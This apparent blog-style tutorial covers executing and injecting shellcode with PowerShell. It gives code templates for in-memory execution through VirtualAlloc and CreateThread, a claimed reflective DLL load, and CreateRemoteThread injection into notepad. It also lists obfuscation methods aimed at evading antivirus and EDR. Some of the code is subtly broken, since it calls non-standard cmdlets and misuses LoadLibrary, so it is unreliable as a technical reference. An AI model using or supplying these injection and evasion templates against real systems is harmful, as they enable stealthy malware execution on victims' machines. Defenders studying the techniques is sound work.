Introduction
Shell code is a small piece of code, often written in assembly, used to exploit vulnerabilities or load payloads during penetration testing or attacks. It plays a critical role in delivering malicious code to a target system. PowerShell, with its robust scripting capabilities, provides a versatile tool for both system administrators and attackers. This article explores various techniques for shellcode execution and injection using PowerShell, with clear explanations and examples.
Key Concepts
- Shellcode: Custom binary code executed during exploitation, commonly delivered as hexadecimal or byte arrays.
- PowerShell: A command-line shell and scripting language used for automation and administration on Windows systems.
- Injection: The process of inserting code into the memory space of an existing process for stealthy execution.
Why PowerShell for Shellcode Execution?
PowerShell is an attractive tool for red teamers and attackers due to the following reasons:
- Native to Windows: PowerShell is pre-installed on most modern Windows systems.
- In-Memory Execution: PowerShell allows execution of code directly in memory, avoiding the need to write files to disk.
- Obfuscation: PowerShell scripts can be obfuscated to bypass antivirus (AV) and endpoint detection systems (EDR).
Shellcode Execution Techniques
Below are some common PowerShell techniques for executing shellcode in memory:
1. Direct Shellcode Execution Using VirtualAlloc and CreateThread
In this method, shellcode is allocated in memory using VirtualAlloc, and a new thread is created to execute the shellcode using CreateThread
Example:
# Shellcode as a byte array (e.g., calc.exe payload)
[Byte[]]$Shellcode = [System.Convert]::FromBase64String(“<YOUR_SHELLCODE_HERE>”)
# Get required functions from kernel32.dll
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Get-ProcAddress kernel32.dll VirtualAlloc))
$CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Get-ProcAddress kernel32.dll CreateThread))
# Allocate memory
$Pointer = $VirtualAlloc.Invoke(0, $Shellcode.Length, 0x1000, 0x40) # MEM_COMMIT, PAGE_EXECUTE_READWRITE
# Copy shellcode to memory
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Pointer, $Shellcode.Length)
# Execute shellcode
$Thread = $CreateThread.Invoke(0, 0, $Pointer, 0, 0, 0)
# Wait for the thread to finish
[System.Threading.Thread]::Sleep(-1)
Explanation:
-
VirtualAlloc: Allocates executable memory with
MEM_COMMITandPAGE_EXECUTE_READWRITEpermissions. - Copy Shellcode: The shellcode byte array is copied into the allocated memory.
- CreateThread: Executes the shellcode as a new thread.
2. Reflective DLL Injection Using PowerShell
Example:
This technique involves loading shellcode embedded in a DLL file directly into memory using PowerShell, without writing the DLL to disk.
# Load shellcode (base64 encoded DLL shellcode)
[Byte[]]$Shellcode = [System.Convert]::FromBase64String(“<YOUR_DLL_SHELLCODE>”)
# Define a delegate to invoke LoadLibrary
$LoadLibrary = Add-Type -MemberDefinition @’
[DllImport(“kernel32.dll”)]
public static extern IntPtr LoadLibrary(string lpFileName);
‘@ -Name “Kernel32” -Namespace “WinAPI” -PassThru
# Allocate memory for shellcode
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Get-ProcAddress kernel32.dll VirtualAlloc))
$Pointer = $VirtualAlloc.Invoke(0, $Shellcode.Length, 0x1000, 0x40)
# Copy shellcode
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Pointer, $Shellcode.Length)
# Reflectively load DLL
$LibraryHandle = $LoadLibrary::LoadLibrary($Pointer)
# Check result
if ($LibraryHandle -ne 0) {
Write-Output “DLL successfully loaded into memory.”
} else {
Write-Output “Failed to load DLL.”
}
3. Process Injection Using CreateRemoteThread
Process injection is a stealthy technique where shellcode is injected into the memory space of another process (e.g., notepad.exe) and executed.
# Target process name
$ProcessName = “notepad”
# Shellcode (base64 encoded)
[Byte[]]$Shellcode = [System.Convert]::FromBase64String(“<YOUR_SHELLCODE_HERE>”)
# Get target process
$Process = Get-Process -Name $ProcessName | Select-Object -First 1
$ProcessHandle = $Process.Handle
# Allocate memory in target process
$VirtualAllocEx = Add-Type -MemberDefinition @’
[DllImport(“kernel32.dll”)]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
‘@ -Name “Kernel32” -Namespace “WinAPI” -PassThru
$RemoteMemory = $VirtualAllocEx::VirtualAllocEx($ProcessHandle, 0, $Shellcode.Length, 0x1000, 0x40)
# Write shellcode to target process
Write-ProcessMemory $ProcessHandle $RemoteMemory $Shellcode
# Create remote thread
$CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Get-ProcAddress kernel32.dll CreateRemoteThread))
$Thread = $CreateRemoteThread.Invoke($ProcessHandle, 0, 0, $RemoteMemory, 0, 0, 0)
Explanation:
- VirtualAllocEx: Allocates memory in the remote process.
- WriteProcessMemory: Writes shellcode into the remote process’s memory.
- CreateRemoteThread: Executes the shellcode in the target process.
Obfuscation Techniques
PowerShell scripts often require obfuscation to evade AV/EDR. Some techniques include:
- Base64 Encoding: Encode the shellcode as a Base64 string.
- Splitting Strings: Break the script into chunks to make detection harder.
- Compression: Use Gzip compression for the script payload.
- Dynamic Assembly Loading: Load PowerShell commands dynamically using reflection.